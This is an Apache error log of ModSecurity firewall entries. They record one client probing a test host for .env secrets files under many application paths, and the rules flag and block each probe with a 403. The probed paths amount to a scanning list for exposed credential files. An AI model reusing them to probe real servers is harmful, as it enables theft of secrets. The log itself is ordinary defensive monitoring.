[Wed Feb 25 06:05:28.869374 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/postfixadmin/.env&quot;] [unique_id &quot;aZ6DGFIszkcv5YapLJKXRQAAAAI&quot;]
[Wed Feb 25 06:05:28.972830 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /roundcubemail/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcubemail/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXsQAAAAQ&quot;]
[Wed Feb 25 06:05:28.973135 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcubemail/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXsQAAAAQ&quot;]
[Wed Feb 25 06:05:28.973333 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcubemail/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXsQAAAAQ&quot;]
[Wed Feb 25 06:05:29.002107 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /routes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/routes/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXsgAAAAQ&quot;]
[Wed Feb 25 06:05:29.002398 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/routes/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXsgAAAAQ&quot;]
[Wed Feb 25 06:05:29.002551 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/routes/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXsgAAAAQ&quot;]
[Wed Feb 25 06:05:29.047175 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /run/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/run/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXswAAAAQ&quot;]
[Wed Feb 25 06:05:29.047428 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/run/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXswAAAAQ&quot;]
[Wed Feb 25 06:05:29.047580 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/run/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXswAAAAQ&quot;]
[Wed Feb 25 06:05:29.050151 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prestashop/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prestashop/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibDwAAAAA&quot;]
[Wed Feb 25 06:05:29.050416 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prestashop/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibDwAAAAA&quot;]
[Wed Feb 25 06:05:29.050577 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prestashop/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibDwAAAAA&quot;]
[Wed Feb 25 06:05:29.077249 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rust-backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXtAAAAAQ&quot;]
[Wed Feb 25 06:05:29.077487 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXtAAAAAQ&quot;]
[Wed Feb 25 06:05:29.077639 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXtAAAAAQ&quot;]
[Wed Feb 25 06:05:29.131752 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /preview-env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview-env/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibEAAAAAA&quot;]
[Wed Feb 25 06:05:29.132035 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview-env/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibEAAAAAA&quot;]
[Wed Feb 25 06:05:29.132231 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview-env/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibEAAAAAA&quot;]
[Wed Feb 25 06:05:29.160175 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rust-backend/dao/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/dao/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXtQAAAAQ&quot;]
[Wed Feb 25 06:05:29.160468 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/dao/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXtQAAAAQ&quot;]
[Wed Feb 25 06:05:29.160644 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/dao/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXtQAAAAQ&quot;]
[Wed Feb 25 06:05:29.193562 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /preview/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibEQAAAAA&quot;]
[Wed Feb 25 06:05:29.193857 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibEQAAAAA&quot;]
[Wed Feb 25 06:05:29.194115 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibEQAAAAA&quot;]
[Wed Feb 25 06:05:29.202044 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /s-with-me-front/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s-with-me-front/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXtgAAAAQ&quot;]
[Wed Feb 25 06:05:29.202367 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s-with-me-front/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXtgAAAAQ&quot;]
[Wed Feb 25 06:05:29.202547 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s-with-me-front/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXtgAAAAQ&quot;]
[Wed Feb 25 06:05:29.277154 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /price_hawk_client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/price_hawk_client/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibEgAAAAA&quot;]
[Wed Feb 25 06:05:29.277459 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/price_hawk_client/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibEgAAAAA&quot;]
[Wed Feb 25 06:05:29.277656 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/price_hawk_client/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibEgAAAAA&quot;]
[Wed Feb 25 06:05:29.370296 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /saas/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXuAAAAAQ&quot;]
[Wed Feb 25 06:05:29.370622 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXuAAAAAQ&quot;]
